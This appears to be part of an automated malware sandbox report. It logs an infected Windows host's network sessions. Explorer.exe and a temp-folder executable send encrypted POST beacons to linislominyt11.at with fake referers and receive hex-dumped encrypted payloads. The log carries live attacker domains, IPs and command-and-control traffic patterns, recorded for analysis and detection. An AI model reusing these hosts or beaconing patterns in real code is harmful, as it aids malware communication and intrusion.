Aug 30, 2022 15:54:53.545001030 CEST	13833	IN	Data Raw: ab d9 45 96 c3 0e 9f 30 d2 bb ba ad f3 59 ff 25 07 98 76 e3 f9 56 0f 27 a8 8c c8 4e a3 db c1 1f 53 a2 2a 72 2d 0c 22 1a 4b c2 36 a5 b9 32 95 ae 04 13 b6 ed 37 48 c3 77 d5 7b cc 48 b6 16 32 f5 7d fc da 17 e9 19 fa 50 23 d6 0e 4e 35 a5 56 7f f4 d1 Data Ascii: E0Y%vV'NS*r-"K627Hw{H2}P#N5V46: 4atw-="R\|U.59KB[N7tkgk^^j8hCW27SFdS1`z=5rOlTy<?!+
Aug 30, 2022 15:54:53.545089006 CEST	13834	IN	Data Raw: 17 bc 1d 1d 10 22 9e 46 ac 80 00 f8 66 4f 15 00 ca 34 69 a8 c7 62 e8 57 36 36 c5 12 61 2a d2 a8 3d f9 af 52 7b 12 23 fc 5b 22 00 0d 4f 64 ba 99 d3 f5 e0 74 f1 64 ea 4e 53 e1 4f d3 b7 29 78 12 be 39 87 92 41 91 b4 c1 fd 4d 87 7d f6 35 8d e3 05 3b Data Ascii: "FfO4ibW66a=R{#["OdtdNSO)x9AM}5;O(^,XUBORF&<9}GBY7RE6eak}eM5D2ePe:W6\|".j5bu({\#qCSs~]Diy8`7
Aug 30, 2022 15:54:53.545151949 CEST	13835	IN	Data Raw: 7b a2 2f 7a 1a 3a ef 06 fd 9a 2a 20 47 ae 44 17 5b dd 9e 3a 0f 0e b3 90 cb 90 40 d5 6a 1d b0 e8 ba 74 1f b7 b8 05 db 6e 86 03 db 50 5e bb 7a 1d 96 16 90 34 6b 94 e2 46 78 c8 05 af 71 78 c6 e7 44 df 5a 84 ca 3c 82 a9 f3 7a 26 a4 5f 65 11 1a 65 8b Data Ascii: {/z:* GD[:@jtnP^z4kFxqxDZ<z&_eerBAuD,u"Z?!15`YcjCDN%TyE.NE: 5msJrQ[_ZY@.OG-
Aug 30, 2022 15:54:53.545217991 CEST	13837	IN	Data Raw: 9d 81 b0 b8 20 65 a4 e3 5d 0e 78 ef 99 06 35 f2 64 8a 07 1f 6b 7a 7f f4 e8 42 24 85 40 d9 0f 56 e1 de 28 88 8a 6a 23 51 18 a1 95 b9 97 56 07 7f 19 38 88 04 ac 40 40 66 ac 2a 5e b0 8a f2 fa f3 a9 31 72 77 95 3d 6c 65 fd c0 1a 9e 83 51 06 50 03 b7 Data Ascii: e]x5dkzB$@V(j#QV8@@f^1rw=leQPIu_j$/?vS("@JinT'2-iX'F)b5Z<1vcvkx1~3w}$EXN=C0)o<E33AU\|awoo9'H?ld
Aug 30, 2022 15:54:53.802340984 CEST	13838	IN	Data Raw: 18 2e 3b 11 4f ea 57 98 1b b3 a6 80 3b a7 3b ad 4b f1 23 eb e6 e2 f2 1d cf a7 77 3b 85 5d 68 ea 10 c7 85 10 38 e8 69 bf 93 e6 3d 37 08 7d 71 b3 3c f6 66 8d 09 68 1f 4a 99 f6 df 80 cb ad 04 1e 59 e0 06 c2 8b f3 51 bd 11 50 eb 93 36 ea c3 47 68 94 Data Ascii: .;OW;;K#w;]h8i=7}q<fhJYQP6GhkjyF0OC\%2ALJ?6l]yy?a4;;nuKI}Q7RCZBq<#+xiadbs^j$ 2gi
Aug 30, 2022 15:54:53.802375078 CEST	13840	IN	Data Raw: 5a 67 8f ea 4c 09 f6 94 ef 33 c3 cb 63 0b 34 76 dd ba fc 95 3e 9a cc 68 f5 67 db f6 7a 0f fa 9f a0 0d c8 60 54 fd 95 89 38 29 f0 33 91 01 78 d2 bb c5 92 78 ec 7e d3 63 46 8a ef 80 71 1e 83 c9 a7 c3 b7 5b 56 01 13 e3 fb e3 02 fe 8d 59 b7 a6 6c 33 Data Ascii: ZgL3c4v>hgz`T8)3xx~cFq[VYl3+_3,ZJMd!\*"},WaZ7m:8+@X@-N9.e7~p~+7]m(s]iKM8nl{i\=u]K
Aug 30, 2022 15:54:53.802390099 CEST	13841	IN	Data Raw: 0b 68 c9 b2 b5 3c 15 79 90 8f 06 93 46 0f 2e 0b 3e 1e 14 9a ae 90 8f 32 e7 e2 09 c2 ad c5 39 db 97 ee 05 e0 76 cf 29 0c 26 3e 73 9f 95 92 47 53 8e 91 6d d6 9b a1 21 c3 16 04 89 ec 6e 0b 2a 36 47 77 1b ff a2 ab 57 92 7c c2 0b 19 4c 3a b6 1e 25 70 Data Ascii: h<yF.>29v)&>sGSm!n*6GwW\|L:%pFP>U_-R&FtH$z,[i:H!849WONt<"hd_^/ m3,SEF]{k2P0zr:e[99WM$z%N
Aug 30, 2022 15:54:53.802407026 CEST	13842	IN	Data Raw: e5 1c 52 9f 66 b1 0c 64 34 f6 bd d8 f3 c5 dd ff d8 20 05 83 d1 ea ce ee df 9f 43 c5 a6 cb df 25 c5 98 85 95 32 ec c7 09 1e 16 87 d3 e1 01 01 73 5e 2a ab 9d 33 82 72 40 dc 3d c7 a2 c8 2c f8 79 d5 b7 be a2 c0 08 fb 81 13 52 ca f2 47 f1 db d3 91 73 Data Ascii: Rfd4 C%2s^*3r@=,yRGsO{Ywk;E{ymDU(jc\c/VH#W)6n3!<u]SHww+DY[L_]xyAK~OC-TD 2.y<iwNn.
Aug 30, 2022 15:54:53.802426100 CEST	13843	IN	Data Raw: be 2b 3d a0 ff 8f c5 34 72 41 ad 81 5f 74 8e 48 37 61 e1 5a 22 28 d0 ed 26 9d 95 6a 78 d3 5b 7c f5 60 a8 8b cd 9f e8 d4 e1 a1 b1 f2 68 1d 4e c0 fb 48 fa eb f2 2e ff 57 38 a3 d1 2a 2e f0 29 cd e7 79 bd 69 5d ce c3 51 01 fb 94 a0 80 ae 0a a4 1e bb Data Ascii: +=4rA_tH7aZ"(&jx[\|`hNH.W8*.)yi]QRM=D'wi_:0oNFrg?uu(Nkz/Sd/].li5bkjSE?A#2Ng2zT"253&}gz`>Ch{U1WjgD

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49744	149.28.253.196	443	C:\Users\user\AppData\Local\Temp\FC9E.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49735	222.232.238.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 30, 2022 15:55:05.205456972 CEST	14727	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pcirrgj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 123 Host: linislominyt11.at
Aug 30, 2022 15:55:05.205496073 CEST	14727	OUT	Data Raw: 4a 9d 89 ce 48 61 22 25 5a 72 23 56 0d af 57 cc 2e 1f 9c 17 ff 69 ad af bc 6a a6 86 71 f4 a0 e0 f8 a1 81 be 00 33 90 b0 a5 2c 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 be 8a 14 62 cc d6 4f 96 b2 b8 12 c0 Data Ascii: JHa"%Zr#VW.ijq3,jp_S61oJf=B!bOvmCf@o7Kf7M8$u
Aug 30, 2022 15:55:06.267836094 CEST	14728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 30 Aug 2022 13:55:05 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.5	49737	189.143.170.233	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 30, 2022 15:55:06.770015955 CEST	14729	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xjwjthjot.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 298 Host: linislominyt11.at
Aug 30, 2022 15:55:06.770035982 CEST	14729	OUT	Data Raw: 4a 9d 89 ce 48 61 22 25 5a 72 23 56 0d af 57 cc 2e 1f 9c 17 ff 69 ad af bc 6a a6 86 71 f4 a0 e0 f8 a1 81 be 00 33 90 b0 a5 2c 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 bf 8a 14 62 cd d6 4f 96 e3 a3 52 f4 Data Ascii: JHa"%Zr#VW.ijq3,jp_S61oJf=B!bOR)1\bueca/Tixpk9W#f\|X3%['A)\SQg@vV(o!T16l3)].-Me5zQP}q=~Ag`S
Aug 30, 2022 15:55:07.321168900 CEST	14808	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 30 Aug 2022 13:55:07 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 3d 8f e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 51 47 2a 0c 48 d8 3c 65 e4 88 c7 a9 38 1b 1b 6a a9 b0 2e 4a c1 25 f6 63 3a 04 a2 e9 ba eb 1d aa 73 c0 58 dd e3 c3 79 dd 2f 40 94 a4 8c e9 7f 67 aa 8a 94 e7 cc ba 13 b1 3d 2f 4c 45 19 62 f5 da cb eb 79 3e 1b 2a 63 cc be 26 7c c3 32 89 37 49 37 b2 5f 29 ce fe 76 d3 fd 93 4d a7 22 fd 25 c3 b4 ae b9 a2 9f e3 e5 99 34 16 69 8d 08 db 7d ca ed 63 ce 07 d2 d5 7c b2 2b 51 3a e2 b1 99 d9 66 6f 25 79 43 0b d1 3d 8a ed 77 82 fa ea d4 61 5c 03 a1 cb a1 61 7e de f5 69 b9 19 17 7e 5f af 9a f5 01 c9 a0 8d b8 de 7a b5 fd 43 7a e0 2c 95 a9 18 1a f5 96 5e 25 53 60 91 d5 30 60 88 a8 c1 48 6b b1 c1 4a 9a 43 f3 ec fe 6e 6c ac 87 7f b3 61 0d 10 4a bf 46 34 bd f8 12 7c 33 6c 29 7e 0a 8d c1 fd e4 0e a4 eb 7e 71 ed 80 f5 1a 68 9b 4a d8 19 4e d4 4f 3b 69 82 ae 9c 97 02 4c 77 56 ed 72 57 3b 3a b9 72 fe cc 23 b2 75 1e 31 79 82 90 f7 df f5 ec e7 62 2b 4c 80 d0 12 f9 13 63 11 bb d6 77 ed 24 27 18 68 b7 9f 33 19 db 46 01 44 14 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 f3 ba 63 39 42 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b cd ad c8 8e 9a 01 e8 e4 73 98 b6 90 f2 a1 54 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 1e 54 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f d4 5c 68 91 9c 29 06 f1 2c 5e ae 03 0e b5 47 d4 a6 7d 10 9f 10 f9 d7 b0 99 17 99 8a cd e4 7f 74 79 54 6d 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 ab a9 b4 5b 54 2a 4f 19 d2 ae 46 1f d0 21 a3 7a 8f a6 65 e3 cd a8 d0 37 00 84 e3 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 7f dc e5 9e 63 d4 03 a6 60 eb ac 98 76 7e 0e ca 82 1f 32 2e 9f 86 cf ec 35 e4 ca a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 58 3a 1d 38 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 3e 5c ee 94 65 6a 6f 44 d8 ec fe 6e 0f 3c a1 a7 d6 10 d6 20 b4 17 63 0f 47 31 74 24 ed 07 30 b8 1c 2d 27 63 45 4a e0 d4 88 66 48 ec 2f 3d c0 24 19 62 c3 8f ee 74 89 93 a3 0e 3c 97 09 06 b7 44 e9 a6 2b a1 3a 98 98 4c 2a 83 5e 6c 99 b9 b6 36 16 c0 98 c3 12 da b0 1d 06 01 3c 06 4e 3e 76 19 5d a0 e5 d9 bc b4 bb 33 68 f2 d3 61 4c 5e 4f c1 85 0a c5 c2 c3 d7 8c 24 33 c9 52 a5 02 89 d2 f9 5d 00 cf ee e2 e3 22 33 26 19 c3 8b a6 a6 45 c2 a2 fe f6 e8 2f 18 55 a9 73 f3 bb 25 63 7d 8a f0 ba 51 0f b7 ab f7 51 ac b0 fb ec dd bf 40 f8 e5 7d 0a 74 70 85 95 c1 c8 8c 36 52 c9 27 0c 6b 28 7f 4d 82 cf Data Ascii: `@0,xO}q4 IJ%9Wd8IkDJ8P>=%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGQGH<e8j.J%c:sXy/@g=/LEby>c&\|27I7_)vM"%4i}c\|+Q:fo%yC=wa\a~i~_zCz,^%S`0`HkJCnlaJF4\|3l)~~qhJNO;iLwVrW;:r#u1yb+Lcw$'h3FDU=hU@c9B(B@w=fd0QpKsTUo)2([T&}WL\h),^G}tyTmCbz[TOF!ze7 RH:Mc`v~2.5_)CCUbX:8@3%}/#wRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&>\ejoDn< cG1t$0-'cEJfH/=$bt<D+:L^l6<N>v]3haL^O$3R]"3&E/Us%c}QQ@}tp6R'k(M
Aug 30, 2022 15:55:07.321223974 CEST	14809	IN	Data Raw: 19 41 64 a1 66 2e bd 89 42 8e 4d 8b 2d aa 19 ef 22 1a 6d 7d 2c 86 32 bf 2c 2e 20 67 e0 94 6b 8e df cd 32 02 71 9e e4 21 32 e4 6d 06 a4 52 ae 23 0e d6 ef b5 cd 43 55 98 b8 08 19 b1 79 9d ac 1f 94 4b 20 32 8e c0 8a 93 af 9e 6c c8 98 6e b2 fd 9e 47 Data Ascii: Adf.BM-"m},2,. gk2q!2mR#CUyK 2lnGWy8;4D_ cft;Dja1!,'Ldk[n~FORYUta.3I%U{[NJt-Qb9/JVbaY2
Aug 30, 2022 15:55:07.321259022 CEST	14809	IN	Data Raw: 99 a4 92 ed bd 43 20 43 b2 61 25 69 21 f5 ef bc 72 b6 fb fb dd 3e 00 14 68 80 c6 30 c5 b7 11 65 ca 70 39 17 7d 4a 31 1d cd 82 3c 2a 74 1f d5 ca 81 8c c3 9e bc 71 cf 37 5c 2d c2 71 fa c9 1c a4 b3 d2 ca 18 d6 45 07 6b f6 7c ed 9b 7f 54 05 86 a9 a9 Data Ascii: C Ca%i!r>h0ep9}J1<*tq7\-qEk\|T=M4`pC\h}turM">
Aug 30, 2022 15:55:07.321299076 CEST	14811	IN	Data Raw: 3b 93 11 e7 43 c6 22 8f c8 43 09 1e 43 6b e1 7a 67 75 e2 20 9f 7c 6f 2e 83 7a 8c 1c ac b1 0c 1c d0 55 4a db b2 eb 26 ac 0e 8a d0 31 93 a5 53 5f 77 94 89 63 d6 b4 5b e1 ce 52 71 9f 1d 15 e9 70 44 be 41 f4 2f 9f 49 96 9a 8e f8 a3 de d4 0e 2d 17 01 Data Ascii: ;C"CCkzgu \|o.zUJ&1S_wc[RqpDA/I-\"]0I{nSuBebU;)cD.R:KbDS+Y1.MiQk_SFCuE%8s>\|{Bx6\|F~(\|\|Gs7[$G.p#F
Aug 30, 2022 15:55:07.495577097 CEST	14817	IN	Data Raw: 0c 62 d5 bd 51 c6 83 20 cb f8 da 3e 46 1f 1a fd 5f b0 1b 91 0a 6f fe de 49 65 85 12 1f 70 24 fc ce c2 91 c7 93 f8 9d 96 48 21 92 8c 10 96 a9 fd 43 41 7c bf ae 72 7d 73 73 b8 de 07 f3 53 5d 38 cc d7 30 cc a9 c2 cd 98 7c bc b3 49 77 00 50 d6 79 06 Data Ascii: bQ >F_oIep$H!CA\|r}ssS]80\|IwPyuX["{)eN7P-Id#\|2:\|EmlueC<CK~]N"zJvXE*II_J9Qv"czh a5q;OQA0?SPpC^6
Aug 30, 2022 15:55:07.495630980 CEST	14818	IN	Data Raw: f5 9e b2 c3 6c 2b fd d2 97 95 c8 d3 c9 49 42 d5 4a 69 5b 2a bc 68 1f 93 56 e8 a1 e3 bd 95 ce 41 b8 83 10 97 97 f0 f4 c5 56 0e e9 55 2f c1 08 ec e9 82 e4 29 f0 be db 60 67 ef 81 45 46 64 2c ce 1c 3b fb f5 d3 27 53 e5 de a8 41 4c 3b 2f 46 6b ad 9d Data Ascii: l+IBJi[hVAVU/)`gEFd,;'SAL;/FkE`~>:q]U\|pE2b$S74f:BF:qcXb^`_zYv~VM#07*cR9v!<9<?,YC8Zo fBX;Au
Aug 30, 2022 15:55:07.495671988 CEST	14820	IN	Data Raw: 3d 11 4b 1e 66 15 8a 90 eb d8 92 ac 93 91 c2 0c 0a d2 d7 0b e1 4b df bb 16 8c 53 a4 45 fc 06 1d 38 35 d8 d9 08 11 da c2 60 ce 33 4d e4 a6 4f ef 70 2e e8 df 21 74 d5 dc c5 21 05 69 63 f6 d9 39 10 b1 3a 41 3f fc 86 b0 ee 29 66 5d f2 e2 f0 56 3d 9b Data Ascii: =KfKSE85`3MOp.!t!ic9:A?)f]V=2=~MokK8W&G&Xd4=0Dke_M$b#bJN9FvU~JBp8u1s!h-\fXg {W!fYHC5r
Aug 30, 2022 15:55:07.495714903 CEST	14821	IN	Data Raw: 0b ef 5a 1b 7d 6b ab b3 f5 41 fb a7 bb 94 63 bc 8f 6f 6c 77 07 05 46 2f 13 8f b6 20 88 72 27 1d 73 83 2e 1e 2e cb b7 19 3d 6e c8 cf 61 58 ae 90 89 20 3b 78 ed fb 92 94 47 30 2f a2 35 82 2f 41 9e 55 34 7a da 5a 58 9c 20 4e c6 45 8d e0 42 ee af b6 Data Ascii: Z}kAcolwF/ r's..=naX ;xG0/5/AU4zZX NEB:Zru:pn#(FUM%1i,p+dCiFoz02G9kbSVG-"dSDPO1\:Oh}
Aug 30, 2022 15:55:07.495753050 CEST	14822	IN	Data Raw: 72 30 2a bf 55 ea 85 a0 2e 72 b0 9c f6 ec d8 86 e6 f3 b6 2f af 13 8e ae 62 1c b7 59 e0 f7 bd 77 3f 80 37 78 96 a7 af 65 7d 55 70 1c bc 02 d6 b1 ec a8 4d da ac 6f 1f 3e 22 14 af d8 3e c9 25 e6 d5 a7 98 0b 44 02 d3 0f 15 1e 93 82 ce c2 4f 89 96 14 Data Ascii: r0*U.r/bYw?7xe}UpMo>">%DOPch]Wv`Ck!;Tka;]&MFsl8G@\|4IjZCj{}IPcqS@Nq>;0rS"?g}fv<SR8fbSE0Dvg6sn"
Aug 30, 2022 15:55:07.495795012 CEST	14824	IN	Data Raw: 06 73 0b 90 65 6e a8 61 2d ec 66 2a 58 be 58 46 12 30 1a 21 72 0b a4 c1 a2 d1 fd 63 69 3c e5 40 6d 6f 9b 58 ce 8b 86 7a 81 92 53 d7 16 80 b6 c4 19 58 86 cc b5 d2 80 7e b4 f1 17 a0 2c 5e 32 7c 73 1a ac d1 e7 ed 4c 81 55 55 4e 50 66 fd 22 31 01 9a Data Ascii: sena-f*XXF0!rci<@moXzSX~,^2\|sLUUNPf"1#,\eP}p,Rl:{U"[_)%1~nJ9tvSguu]W)O(1Ld\|S+-_K:3rB-ehz[)(%7ejl#zn
Aug 30, 2022 15:55:07.495836020 CEST	14825	IN	Data Raw: 37 d5 42 c8 9c bd 8a 46 74 55 2e 1e 5a ea 50 3a f7 4b 9c 0c 23 bc d9 ab f2 83 4f 1d c4 6c d2 ae 9b b6 fa c9 35 ae 77 35 d8 b8 a0 67 af 5e 3e ea 08 1b 83 84 ed c6 a3 70 87 41 e1 03 28 32 3f 6a c3 c6 ca a1 a7 5d 7e 32 33 d1 e6 b7 32 ff 7b 11 98 9d Data Ascii: 7BFtU.ZP:K#Ol5w5g^>pA(2?j]~232{T~d?\|8\|SMB5X//bZ3a*ObQC<%d~8"tfk;ZzbPkqav'5U}O6RGExC&XA;$)o!!nD)#@I(reS8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49741	41.41.255.235	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 30, 2022 15:55:11.496970892 CEST	15534	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ropqgxkm.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 134 Host: linislominyt11.at
Aug 30, 2022 15:55:11.496993065 CEST	15534	OUT	Data Raw: 4a 9d 89 ce 48 61 22 25 5a 72 23 56 0d af 57 cc 2e 1f 9c 17 ff 69 ad af bc 6a a6 86 71 f4 a0 e0 f8 a1 81 be 00 33 90 b0 a5 2c 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 bf 8a 14 62 cc d6 4f 96 a8 d1 3d a6 Data Ascii: JHa"%Zr#VW.ijq3,jp_S61oJf=B!bO=::i9sH7J/"fvWE1v\
Aug 30, 2022 15:55:11.598844051 CEST	15534	IN	HTTP/1.1 307 Temporary Redirect Location: http://megaplusredirection.tedata.net/VDSL-Redirection_100.html Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.5	49742	213.158.173.252	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 30, 2022 15:55:11.765908957 CEST	15535	OUT	POST /VDSL-Redirection_100.html HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ropqgxkm.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 134 Host: megaplusredirection.tedata.net
Aug 30, 2022 15:55:11.765984058 CEST	15535	OUT	Data Raw: 4a 9d 89 ce 48 61 22 25 5a 72 23 56 0d af 57 cc 2e 1f 9c 17 ff 69 ad af bc 6a a6 86 71 f4 a0 e0 f8 a1 81 be 00 33 90 b0 a5 2c 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 bf 8a 14 62 cc d6 4f 96 a8 d1 3d a6 Data Ascii: JHa"%Zr#VW.ijq3,jp_S61oJf=B!bO=::i9sH7J/"fvWE1v\
Aug 30, 2022 15:55:11.849235058 CEST	15537	IN	HTTP/1.1 405 Method Not Allowed Allow: GET, HEAD, OPTIONS, TRACE Content-Type: text/html Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Tue, 30 Aug 2022 14:03:12 GMT Content-Length: 1293 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 35 20 2d 20 48 54 54 50 20 76 65 72 62 20 75 73 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 70 61 67 65 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 